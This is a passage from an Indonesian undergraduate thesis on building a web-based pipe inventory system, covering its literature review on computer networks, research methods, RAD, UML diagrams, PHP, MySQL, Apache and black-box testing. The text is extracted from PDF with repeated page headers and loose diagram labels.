pengguna untuk berinteraksi menggunakan form sehingga dapat mengolah informasi

yang ditampilkan. Web dinamis bersifat interaktif, tidak kaku, dan terlihat lebih

mudah.

2.9 Jaringan Komputer

2.9.1 Pengertian Jaringan Komputer

Jaringan komputer secara istilah dapat diartikan sebagai dua komputer atau

lebih yang dapat terhubung melalui media komunikasi baik berupa kabel (wire) atau

tidak (wireless) (Akbar, 2006). Hal-hal yang dapat dilakukan menggunakan jaringan

komputer adalah:

1) Berkomunikasi menggunakan media teks maupun video, menggunakan modus

PopUp ataupun Messangger. Contoh software untuk komunikasi yang

menggunakan modus PopUp adalah WinPopUp di Windows dan LinPopUp di

Linux. Sementara media yang menggunakan messangger adalah netmeeting di

Windows dan GnomeMeeting di Linux.

2) Berbagi data di dalam harddisk menggunakan berbagai macam protocol seperti

SMB (Server Message Block) milik Microsoft, NFS (Network File Sharing) dari

Sun Microsystem, SAMBA yang digunakan oleh Linux, APPLE TALK untuk

berkomunikasi dengan sistem Macintosh.

Page 73: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

47

3) Berbagi perangkat keras seperti printer, plotter, harddisk, CD/ DVD Rom dan

lainnya.

Beberapa ahli juga mendefinisikan arti jaringan komputer.

1. Secara sederhana jaringan komputer dapat diartikan sebagai kumpulan beberapa

komputer dan peralatan lain yang saling terhubung menggunakan aturan-aturan

tertentu. Hubungan ini dapat terjadi menggunakan media fisik berupa kabel

ataupun melalui gelombang radio, infrared bahkan satelit, setiap peralatan yang

tersambung ke jaringan disebut node (Wahidin, 2007).

2. Jaringan komputer merupakan gabungan antara teknologi komputer dan teknologi

komunikasi. Gabungan teknologi ini melahirkan pengolahan data yang dapat

didistribusikan, mencakup pemakaian database, software, aplikasi dan peralatan

hardware mencakup bersamaan, untuk membantu proses otomatisasi perkantoran

dan peningkatan kea rah efisiensi kerja (Dede, 2006).

2.10 Metodologi Penelitian

2.10.1 Metode Pengumpulan Data

2.10.1.1 Studi Pustaka

Studi kepustakaan adalah segala usaha yang dilakukan oleh peneliti untuk

menghimpun informasi yang relevan dengan topik atau masalah yang akan atau

sedang diteliti. Informasi itu dapat diperoleh dari buku-buku ilmiah, laporan

penelitian, karangan-karangan ilmiah, tesis dan disertasi, peraturan-peraturan,

ketetapan-ketetapan, buku tahunan, ensiklopedia, dan sumber-sumber tertulis baik

cetak maupun elektronik lain (Jogiyanto, 2008).

Page 74: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

2.10.1.2 Studi Lapangan

a) Observasi

Merupakan teknik atau pendekatan untuk mendapatkan data primer dengan cara

mengamati langsung objek datanya. Pendekatan observasi diklasifikasikan ke

dalam observasi sederhana dan observasi terstruktur (Jogiyanto, 2008).

1) Observasi Sederhana

Merupakan observasi yang tidak mempunyai pertanyaan-pertanyaan riset.

Observasi sederhana ini digunakan di penelitian eksploratori yang belum

diketahui dengan jelas variabel-variabel yang akan digunakan.

2) Observasi Terstruktur

Merupakan observasi yang mempunyai prosedur standar yang terstruktur.

Langkah-langkahnya sebagai berikut.

a. Menentukan data yang akan diobservasi.

b. Membuat rencana pengumpulan datanya.

c. Memilih dan melatih pengamat.

d. Mencatat atau merekam hasil yang diobservasi.

b) Wawancara

Merupakan komunikasi dua arah untuk mendapatkaan data dari responden.

Wawancara dapat berupa wawancara personal (personal interview). Wawancara

intersep (intersept interview) dan wawancara telepon (telephone interview)

(Jogiyantio, 2008).

Page 75: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

49

2.10.1.3 Studi Literatur Sejenis

Studi literatur sejenis adalah mencari bukti dengan membandingkan studi

literatur sebelumnya sehingga dapat membantu dalam penelitian selanjutnya

(Bintarto, 2002).

2.11 Metode Pengembangan Sistem

Pengembangan sistem dapat berarti menyusun suatu sistem yang baru untuk

menggantikan sistem yang lama secara keseluruhan atau perbaikan pada sistem yang

telah ada, dengan harapan bahwa sistem yang baru tersebut dapat mengatasi

permasalahan yang timbul pada sistem yang lama. Sedangkan definisi lain

menyebutkan pengembangan sistem adalah proses mengubah sebagian atau seluruh

sistem informasi.

2.11.1 Rapid Application Development (RAD) menurut Whitten (2004)

RAD (Rapid Application Development) adalah salah satu alternatif dalam

melakukan suatu pengembangan sistem. RAD adalah sebuah strategi pengembangan

sistem yang menekankan kecepatan-kecepatan pengembangan melalui keterlibatan

pengguna yang ekstensif dalam kontruksi, cepat, berulang dan bertambah

serangkaian prototipe atau prototipe bekerja sebuah sistem yang pada akhirnya

berkembang kedalam sistem final. Sebagai respom pada kemajuan ekonomi pada

umumnya, RAD atau pengembangan aplikasi cepat telah menjadi rute yang popular

untuk mengakselerasi pengembangan sistem. Berikut diagram yang menerangkan

rute dalam RAD, yaitu:

Page 76: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

Gambar 2.2 Strategi Rapid Application Development (RAD)

2.11.1.1 Keunggulan RAD

Metode RAD memiliki kelebihan antara lain: (Whitteen, 2004)

1. Berguna untuk proyek-proyek tempat persyaratan-persyaratan pengguna tidak

pasti dan tidak tepat.

2. Mendorong pengguna aktif dan partisipasi manajemen (berkebalikan dengan

reaksi pasif pada model-model sistem yang tidak bekerja). Hal ini meningkatkan

antusiasme pengguna akhir pada proyek.

3. Proyek-proyek memiliki visibilitas dan dukungan lebih tinggi karena keterlibatan

pengguna yang ekstensif selama proses.

4. Para pengguna dan manajemen melihat solusi-solusi yang berbasis perangkat

lunak dan bekerja lebih cepat daripada pengembangan yang model-driven.

5. Error dan penghilangan cenderung untuk di deteksi lebih awal dalam prototipe

daripada dalam model sistem.

6. Pengujian dan pelatihan adalah produk tambahan alami dari pendekatan

prototyping yang mendasar.

7. Pendekatan berulang adalah proses yang lebih “alami” karena perubahan adalah

faktor yang diharapkan selama pengembangan.

Scope

Definiton

Problem Analysis+

Requirement

Analysis+Decision

Analysis

Design

Current System

Operation &

Maintenance

Delivery of a versionConstruction &

TestingThe User Community

Page 77: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

51

2.11.1.2 Alur Proses Pengembangan Sistem

Alur proses sistem RAD sebagai berikut: (McLeod, 2004)

1. Definisi Lingkup (Scope Definition)

Menentukan ukuran dari proyek atau penelitian. Batas-batas dalam penelitian ini.

2. Analisis Sistem (Analysis)

Dalam tahap ini, peneliti akan menjabarkan permasalahan yang sering terjadi

pada sistem yang sedang berjalan dan analisis sistem yang diusulkan.

3. Perancangan Sistem (Design)

Perancangan sistem dilakukan setelah tahap analisis selsesai, dengan

menggunakan metode pengembangan sistem dan memilih bahasa pemrograman

yang akan digunakan.

4. Implementasi Sistem (Construction & Testing)

Setelah melakukan analisis sistem dan perancangan sistem secara rinci, maka tiba

saatnya sistem untuk diimplementasikan. Pada tahap ini terdapat banyak aktivitas

yang dilakukan. Aktivaitas-aktivitas yang dimaksud berupa:

a. Instalasi Perangkat

Pada tahap ini, yaitu membahas sarana pendukung yang diperlukan agar agar

sistem dapat berjalan sesuai yang diharapakn.

b. Pengujian (Testing)

Tahap pengujian terhadap sistem bertujuan untuk menemukan kesalahan yang

masih terjadi pada sistem.

Page 78: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

2.11.2 UML

UML adalah singkatan dari Unified Modelling Language yang berarti bahasa

permodelan standar. Chonoles, 2003: Bab 1 mengatakan sebagai bahasa, berarti

UML memiliki sintaks dan semantik. Ketika kita membuat model menggunakan

konsep UML ada aturan-aturan yang harus diikuti. Bagaimana elemen pada model-

model yang kita buat berhubungan satu dengan yang lainnya harus mengikuti standar

yang ada. UML bukan hanya sekedr diagram, tetapi juga menceritakan konteksnya.

Ketika pelanggan memesan sesuatu sistem, bagaimana transaksinya? Bagaimana

sistem mengatasi error yang terjadi? Bagaimana keamanan terhadap sistem yang kita

buat? Dan sebagainya dapat dijawab dengan UML (Prabowo & Herlawati, 2011).

UML diaplikasikan untuk maksud tertentu, biasanya antara lain untuk:

1. Merancang perangkat lunak.

2. Sarana komunikasi antara perangkat lunak dengan proses bisnis.

3. Menjabarkan sistem secara rinci untuk analisa dan mencari apa yang diperlukan

sistem.

4. Mendokumentasikan sistem yang ada, proses-proses dan organisasinya.

UML adalah salah satu alat bantu yang sangat mahal di dunia pengmbangan

sistem yang berorientasi objek. Hal ini disebabkan karena UML menyediakan bahasa

permodelan visual yang memungkinkan bagi pengembang sistem untuk membuat

cetak biru atas visi mereka dalam bentuk yang baku, mudah dimengerti serta

dilengkapi dengan mekanisme yang efektif untuk berbagi (sharing) dan

mengkomunikasikan rancangan mereka dengan yang lain.

Page 79: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

53

UML merupakan kesatuan dari bahasa pemodelan yang dikembangkan oleh

Booch, Object Modeling Technique (OMT) dan Object Oriented Software

Engineering (OOSE). Metode Booch dari Grady Booch sangat terkenal dengan nama

metode Design Object Oriented, metode ini menjadikan proses analisis dan desain ke

dalam empat tahapan iteratf, yaitu: identifikasi kelas-kelas dan obyek-obyek,

identifikasi semantik dari hubungan obyek dan kelas tersebut, perincian interface dan

implementasi. Keunggulan metode Booch adalah pada detil dan kayanya dengan

notasi dan elemen. Pemodelan OMT yang dikembangkan oleh Rumbaugh didasarkan

pada analisis terstruktur dan pemodelan entity-relationship. Tahapan utama dalam

metode ini adalah analisis, desain sistem, desain obyek, dan implementasi.

Keunggulan metode ini adalah dalam penotasian yang mendukung semua konsep

OO. Metode OOSE dari Jacobson lebih memberi penekanan pada usecase. OOSE

memiliki tiga tahapan yaitu model requirement dan analisis, desain dan

implementasi, dan model pengujian (test model). Keunggulan metode ini adalah

mudah dipelajari karena memiliki notasi yang sederhana namun mencakup seluruh

tahapan dalam rekayasa perangkat lunak.

Dengan UML, metode Booch, OMT dan OOSE digabungkan dengan

membuang elemen-elemen yang tidak praktis ditambah dengan elemen-elemen dari

metode lain yang lebih efektif dan elemen-elemen baru yang belum ada pada metode

terdahulu sehingga UML lebih ekspresif dan seragam daripada metode lainnya.

(Munawar, 2005).

Page 80: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

a. Tipe Diagram UML

Tabel 2.1 Tipe Diagram UML (Munawar, 2005)

Diagram Model

Use Case Bagaimana User berinteraksi dengan sebuah sistem

Activity Perilaku procedural & Paralel

Class Fitur dan relasinya

Sequence Interaksi antar obyek

b. Jenis Diagram UML

UML menyediakan beberapa jenis diagram diantaranya adalah sebagai

berikut:

1. Use case Diagram

Use case diagram adalah diagram yang menggambarkan interaksi

antara sistem, sistem eksternal dan pengguna. Secara grafis

menggambarkan siapa yang akan menggunakan sistem dan dengan cara

apa pengguna mengharapkan untuk berinteraksi dengan sistem (Whitten,

2004).

Use case adalah deskriptif fungsi dari sebuah sistem dari perspektif

pengguna. Use case bekerja dengan cara mendeskripsikan tipikal interaksi

antara user (pengguna) sebuah sistem dengan sistemnya sendiri melalui

sebuah cerita bagaimana sebuah sistem dipakai. Urutan langkah-langkah

yang menerangkan antara pengguna dan sistem disebut scenario. Setiap

Page 81: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

55

scenario mendeskripsikan urutan kejadian. Setiap urutan diinisialisasi oleh

orang, sistem yang lain, perangkat keras atau urutan waktu. Dengan

demikian secara singkat bisa dikatakan use case adalah serangkaian

scenario yang digabungkan bersama-sama oleh tujuan umum pengguna

(Munawar, 2005).

Dalam pembicaraan tentang use case, pengguna biasanya disebut

dengan actor. Actor adalah sebuah peran yang bisa dimainkan oleh

pengguna dalam interaksinya dengan sistem.

Model use case adalah bagia dari model requirement (Jacobson,et all,

1992).

Use case adalah alat bantu terbaik guna menstimulasi pengguna

potensial untuk mengatakan tentang suatu sistem dari sudut pandangnya.

Tidak selalu mudah bagi pengguna untuk menyatakanm bagaimana mereka

bermaksud menggunakan sebuah sistem. Karena sistema pengembangan

tradisional sering ceroboh dalam melakukan analisis, akibatnya pengguna

seringkali susah menjawabnya tatkala diminta masukkan tentang sesuatu.

Ide dasarnya adaladh bagaimana melibatkan pengguna sistem di fase-

fase awal analisis dan perancangan sistem. Dengan demikian diharapkan

akan bisa dibangun suatu sistem yang bisa membantu pengguna. Perlu

diingat bahwa use case mewakili pandangan diluar sistem.

Diagram use case menunjukkan 3 aspek dari sistem yaitu; actor, use

case, dan system/ sun system boundary. Actor mewakili peran orang,

Page 82: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

sistem yang lain atau alat ketika berkomunikasi dengan use case. Gambar

2.3 mengilustrasikan actor, use case, dan boundary.

Gambar 2.3 Use Case Model

Notasi dalam diagram use case adalah : (Whitten, 2004)

a. Actor adalah segala sesuatu yang perlu berinteraksi dengan sistem

untuk pertukaran informasi.

Manager

tallyman

Admin_OS

login

Cek Barang

Laporan pipa Masuk

Logout

Laporan Pipa Keluar

Laporan Work Order

Laporan Data Pembeli

Laporan Reproduksi Pipa

<<include>>

Input Data Pipa Masuk

Input Data Pembeli

Input Reproduksi Pipa

Input Data Pipa Keluar

Input Work Order

<<depends on>>

<<depends on>>

<<depends on>>

<<depends on>>

Manage user

Laporan Stok Pipa

<<depends on>>

Marketing

<<depends on>>

<<depends on>>

<<depends on>>

<<depends on>>

<<depends on>>

<<depends on>><<depends on>>

Page 83: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

57

b. Use case adalah urutan langkah-langkah yang secara tindakan saling

terkait (scenario), baik secara otomatis maupun manual, untuk tujuan

melengkapi satu tugas bisnis tunggal. Use case terdapat beberapa

relasi antara use case untuk mendapatkan sistem secara utuh, relasi

tersebut terbagi menjadi dua, yaitu:

1) Relasi include adalah hubungan diantara abstract use case dan use

case yang menggunakannya. Abstract use case merepresentasikan

satu bentuk “reuse” dan merupakan alat yang sangat baik untuk

mengurangi redundancy diantara dua atau lebih use case lain.

2) Relasi extend adalah hubungan antara extension use case dan use

case yang diperluas hubungan. Satu use case dapat memiliki

beberapa hubungan extend, tetapi satu extension use case hanya

dapat di minta oleh satu use case yang diperluas.

2. Activity Diagram

Activity diagram adalah teknik untuk mendeskripsikan logika

procedural, proses bisnis dan aliran kerja dalam banyak kasus. Activity

diagram mempunyai seperti halnya flowchart akan tetapi perbedaannya

dengan flowchart adalah activity diagram bisa mendukung perilaku

parallel sedangkan flowchart tidak bisa (Munawar, 2005).

Activity untuk menggambarkan secara grafis aliran proses bisnis.

Langkah-langkah sebuah use case atau logika behavior (metode) object

(Whitten, 2004).

Page 84: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

Data

Valid

Mulai

Data

Tidak Valid

Selesai

All User Sistem

Input username dan password

Klik login cek username dan password

Menampilkan Halaman Home Sistem

Menampilkan pesan

username atau password salah

Gambar 2.4 Activity Diagram

3 Sequence Diagram

Sequence diagram adalah diagram UML yang memodelkan logika sebuah use

case dengan cara menggambarkan interaksi diantara objek-objek dalam rangkaian

waktu (Whitten, 2004).

Page 85: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

59

login

Input Username & Password

Menampilkan Halaman Utama User

All User

Menampilkan Pesan Kesalahan Cek Database Username&Password

Gambar 2.5 Sequence Diagram

4 Class Diagram

Class diagram gambar grafis mengenai struktur objek statis dari suatu sistem,

menunjukkan kelas-kelas objek yang menyusun sebuah sistem dan juga hubungan

antara kelas objek tersebut (Whitten, 2004).

Page 86: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

Gambar 2.6 Class Diagram

UML dibangun atas model 4+1 view. Model ini didasarkan pada fakta bahwa

struktur sebuah sistem dideskripskikan dalam 5 view dimana salah satu diantaranya

use case view. Use case view ini memegang peran khusus diantaranya

mengintegrasikan content ke view yang lain. Kelima view tersebut tidak berhubungan

dengan diagram yang dideskripsikan di UML. Setiap view berhubungan dengan

perspektif tertentu dimana sistem akan diuji. View yang berbeda menekankan pada

aspek yang berbeda dari sistem yang mewakili ketertarikan sekelompok stakeholder

tertentu.

+add()

+delete()

+edit()

-kd_jenis (Pk)

-nm_jenis

::jenis

+add()

+delete()

+edit()

+save()

-kd_brg (Pk)

-nm_brg

-kd_jenis (Fk)

-ukuran

-id_user (Fk)

::Barang

+add()

+delete()

+edit()

+save()

-id_user(Pk)

-nm_user

-password

-id_level (Fk)

-id_pegawai (Fk)

::User

+add()

+delete()

+edit()

-id_level (Pk)

-nm_level

::Level

+add()

+delete()

+edit()

-id_jabatan (Pk)

-nm_jabatan

::jabatan

+add()

+delete()

+edit()

-id_pegawai (Pk)

-nm_pegawai

-id_jabatan (Fk)

::Pegawai

+view()

+edit()

-id_stok (Pk)

-jumlah_ready

-kd_brg (Fk)

-safety_stock

-id_user (Fk)

::Stok

+add()

+edit()

+delete()

-kd_reproduksi (Pk)

-jumlah_riject

-kd_brg (Fk)

-id_user (Fk)

::Reproduksi

+add()

+delete()

+edit()

-id_work (Pk)

-kd_pembeli (Fk)

-jumlah

-kd_brg (Fk)

-id_user (Fk)

::Work Order

+add()

+delete()

+edit()

-kd_pembeli (Pk)

-nm_pembeli

-alamat

-tlpn

-email

-id_kota (Fk)

-id_user (Fk)

::Pembeli

+view()

+add()

+delete()

-id_kota (Pk)

-nm_kota

-id_prov (Fk)

::kota

+add()

+delete()

+edit()

-id_prov (Pk)

-nm_prov

::Provinsi

1

1..*

1

1..* 1..*

1

1..*

1 1..*

1 1

1

1

1

11

::login

1

1

1

1..*

1

1..*

11..*

1

1..*

11..*

Page 87: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

61

Gambar 2.7 Model 4+1 view (Munawar, 2005)

Penjelasan lengkap gambar diatas adalah sebagi berikut:

1. Use case view mendefinisikan perilaku eksternal sistem

2. Design view mendefinisikan struktur logika yang mendukung fungsi-fungsi yang

dibutuhkan di use case. Informasi yang terkandung di view ini menjadi perhatian

para programmer karena menjelaskan secara detail bagaimana fungsionalitas

sistem akan diimplementasikan.

3. Implementation view menjelaskan komponen-komponen fisik dari sistem yang

akan dibangun. Informasi yang ada di view ini relevan dan aktifitas-aktifitas

seperti manajemen konfigurasi dan integral sistem.

4. Process sistem berhubungan dengan hal-hal yang berkaitan dengan concurrency

di dalam sistem.

5. Deployment view menjelaskan komponen-komponen fisik didistribusikan ke

lingkungan fisik seperti jaringan komputer dimana sistem akan dijalankan.

Design View

Implementation

View

Process View

Deployment View

Use Case View

Page 88: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

2.12 Perangkat Lunak yang digunakan

2.12.1 Pemrograman PHP (Hypertext Preprocessor)

PHP adalah bahasa pemrograman web server-side yang bersifat open source.

PHP merupakan script yang terintegrasi dengan HTML dan berada pada server

(server side HTML embedded scripting). PHP adalah script yang digunakan untuk

membuat halaman website yang dinamis. Dinamis berarti halaman yang akan

ditampilkan dibuat saat halaman itu diminta client. Mekanisme ini menyebabkan

informasi yang diterima client selalu yang terbaru/ up to date, semua script

dieksekusi pada server dimana script tersebut dijalankan (Anhar,2010).

Dalam pengertian lain PHP adalah bahasa permrograman Open Source yang

digunakan secara luas terutama untuk pengembangan web dan dapat disimpan dalam

bentuk HTML (Hardjono, 2006).

Untuk menghasilkan sebuah HTML, script yang ditulis menggunakan PHP

mempunyai perintah yang lebih singkat dibandingkan bahasa pemrograman lain

seperti Perl atau C. keuntungan utama menggunakan PHP adalah script PHP tidak

hanya benar-benar sederhana bagi pemula, tetapi juga menyediakan banyak fitur

tambahan untuk programmer professional.

Meskipun PHP lebih difokuskan sebagai script server side, kita juga dapat

melakukan apapun dengan program CGI, seperti mengirimkan dan menerima

cookies. Bahkan PHP dapat melakukan lebih banyak lagi.

Script PHP dapat digunakan dalam 3 hal, yaitu: (Hardjono, 2006):

1) Penulisan program server side. Hal ini adalah target utama PHP. Diperlukan 3 hal

agar script PHP dapat bekerja antara lain, PHP Parser (CGI atau server module),

Page 89: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

63

server web (missal, Apache) dan browser web. Kita harus menjalankan server

web terlebih dahulu, kemudian mengakses keluaran program PHP melalui

browser web dan melihat halaman PHP melalui server.

2) Penulisan program Command Line. Script PHP dapat berjalan tanpa server atau

browser. Hanya diperlukan PHP Parser dalam bentuk Command Line. Tipe ini

ideal digunakan untuk script yang dijalankan secara teratur menggunakan cron

(pada Unix atau Linux) atau Task Scheduler (pada Windows).

3) Penulisan program untuk aplikasi desktop. PHP mungkin bukan bahasa yang

sangat baik untuk membuat suatu aplikasi desktop dengan tampilan grafis yang

user friendly, dengan penambahan fitur tambahan PHP pada aplikasi Client Side

atau menggunakan PHP-GTK. PHP-GTK merupakan fitur tambahan pada PHP

dan tidak tersedia pada distribusi utama.

Secara singkat kelebihan-kelebihan PHP meliputi: (Hardjono, 2006)

a) ScriptPHP sederhana, mudah dibuat, dan mempunyai kecepatan akses tinggi.

b) Dapat berjalan dalam server web yang berbeda dan dalam sistem operasi yang

berbeda. PHP dapat berjalan pada sistem operasi Linux/ Unix, Windows, dan

Macintosh.

c) Bersifat Open Source sehingga diterbitkan secara gratis.

d) Dapat berjalan pada server web Microsoft Personal Web Server, Apache, IIS,

Xitami dan sebagainya.

e) Termasuk bahasa yang embedded (bisa ditempel atau diletakkan dalam tag

HTML).

Page 90: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

2.12.1.1 Alasan Menggunakan PHP

Beberapa alasan peneliti untuk menggunakan PHP: (Anhar, 2009)

a. PHP adalah bahasa open source yang dapat digunakan di berbagai sistem operasi

seperti Linux, Unix Macintosh, dan Windows. PHP dapat dijadikan secara runtime

melalui console serta dapat menjalankan perintah-perintah sistem. Open source

artinya code-code PHP terbuka untuk umum dan kita tidak harus membayar biaya

pembelian atau keaslian license yang biasanya cukup mahal. Karena source code

PHP tersedia secara gratis, maka hal tersebut memungkinkan komunitas milis-

milis dan developer untuk selalu melakukan perbaikan, pengembangan, dan

menemukan bug dalam bahasa PHP.

b. Web server yang mendukung PHP dapat ditemukan dimana-mana, mulai dari

Apache, IIS, Lighttpd, hingga Xitami dengan konfigurasi yang relatif mudah.

c. PHP juga dilengkapi dengan berbagai macam pendukung lain seperti support

langsung ke berbagai macam database yang populer, misalnya: Oracle,

PastgerSQL, MySQL, dan lain-lain.

2.12.2 MySQL

MySQL (My Stukture Query Language) adalah sebuah perangkat lunak

sistem manajemen basis data SQL (Database Managemrent System) atau DBMS dari

sekian banyak DBMS, seperti Oracle, Ms SQL, Postagre SQL, dan lain-lain. MySQL

merupakana DBMS yang multithread, multiuser yang bersifat gratis dibawah lisensi

GNU General Public License (GPL). Tidak seperti Apache yang merupakan software

yang dikembangkan oleh komunitas umum, dan hak cipta untuk kode sumber

Page 91: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

65

dimiliki oleh penulisnya masing-masing. MySQL dimiliki dan disponsori oleh sebuah

perusahaan Swedia, yaitu MySQL AB. MySQL AB memegang hak cipta kode

sumbernya. Kedua orang Swedia dan oraang Finlandia yang mendirikan MySQL AB

adalah: David Axmark, Allan Larson, dan Micheal Monty Widenius (Anhar,2010).

Beberapa kelebihan MySQL, antara lain:

MySQL dapat berjalan dengan stabil pada berbagai sistem operasi, seperti

Windows, Linux, FreeBSD, Mac Os X Server, Solaris, dan masih banyak lagi.

Bersifat Open Source, MySQL didistribusikan secara open source (gratis),

dibawah lisensi GNU General Public License (GPL)

Bersifat Multi-user, MySQL dapat digunakan oleh beberapa user dalam waktu

yang bersamaan tanpa mengalami masalah.

MySQL memiliki kecepatan yang baik dalam menangani query (perintah SQL).

Dengan kata lain, dapat memproses lebih banyak SQL per satuan waktu.

Dari segi security atau keamanan data, MySQL memiliki beberapa lapisan

keamanan, seperti level subnet mask, nama host, dan izin akses user, dengan

sistem perizinan yang mendetail serta password yang terenkripsi.

Selain MySQL bersifat fleksibel dengan berbagai pemrograman, MySQL juga

memiliki interface (antarmuka) terhadap berbagai aplikasi dan bahasa

pemrograman dengan menggunakan fungsi API (Application Programming

Interface).

Page 92: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

2.12.3 Apache

Apache merupakan server web bersifat Universal dan gratis, dikembangkan

sekelompok programmer bernama Apache group. Apache pertama kali

dikembangkan pada tahun 1995. Lebih dari 50% server web di dunia menggunakan

Apache. Apache pertama kali diciptakan untuk sistem operasi Unix, sekarang bisa

dijalankan pada hamper semua sistem operasi termasuk Windows (Irawan, 2009).

2.12.4 Adobe Dreamweaver CS4

Adobe Dreamweaver CS4 merupakan salah satu program aplikasi yang

digunakan untuk membangun sebuah website, baik secara grafis maupun dengan

menuliskan kode sumber secara langsung.

Adobe Dreamweaver CS4 memudahkan pengembang website untuk

mengelola halaman-halaman website dan asset-asetnya, baik gambar (image),

animasi flash, video, suara dan lain sebagainya. Selain itu adobe dreamweaver CS4

juga menyediakan fasilitas untuk melakukan pemrograman scripting, baik ASP

(Active Server Page), JSP (Java Server Page), PHP (PHP Hypertext Preprocessor),

JavaScript (js), Cold Fusion, CSS (Cascading Style Sheet), XML (Extensible Markup

Language) dan lainnya (Agustina, 2010).

Page 93: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

67

2.12.5 Adobe Photoshop CS

Awal terciptanya Adobe Photoshop oleh Glenn Knoll memang ditujukan

unutk mengedit foto saja, namun karena perkembangan teknologi yang semakin

kompleks, menuntut Thomas Knoll sang anak dan kawan-kawannya semakin

memantapkan untuk mengembangkan Photoshop (Slamet Riyanto, 2006).

2.12.6 Browser

Browser adalah aplikasi yang digunakan untuk menampilkan file-file website,

baik html, php, mht, dan lain sebagainya. Kita tidak akan dapat menampilkan hasil

dari desain yang kita buat apabila kita tidak mempunyai browser. Browser yang

dapat digunakan adalah Browser Internet Explorer (IE) yang merupakan bawaan

windows, Mozilla Firefox, Opera, Safari, Chrome dan lain-lain (Agustina, 2010).

Browser juga dapat diartikan sebagai software yang di install di mesin client,

berfungsi untuk menerjemahkan tag HTML menjadi halaman web (Anhar, 2010).

2.13 Pengujian

Sebelum program diterapkan, maka program harus bebas dari kesalahan, dan

program harus diuji untuk menemukan kesalahan yang mungkin dapat terjadi seperti

ksalahan dalam bahasa, kesalahan waktu, proses dan kesalahan logika program.

Pengujian perangkat lunak (PL) adalah elemen kritis dari jaminan kualitas PL

dan merepresentasikan spesifikasi, desain dan pengkodean. Meningkatnya visibilitas

PL sebagai suatu elemen sistem dan biaya yang muncul akibat kegagalan PL,

memotivasi dilakukan perencanaan baik melalui pengujian yang teiliti.

Page 94: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

Pengujian black-box berfokus pada persyaratan fungsional perangkat lunak.

Pengujian black-box didesain untuk mengungkap kesalahan pada persyaratan

fungsional tanpa mengabaikan kerja internal dari suatu program. Teknik pengujian

black-box berfokus pada domain informasi dari perangkat lunak, dengan melakukan

test case dengan mempartisi domain input dan domain output dari suatu program

dengan cara memberikan cangkupan pengujian mendalam (Pressman, 2002).

Page 95: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

69

2.14 Studi Literatur Sejenis

Peneliti mendapatkan studi literatur sejenis dari kasus yang sama dalam mengembangkan sistem informasi ini, yaitu:

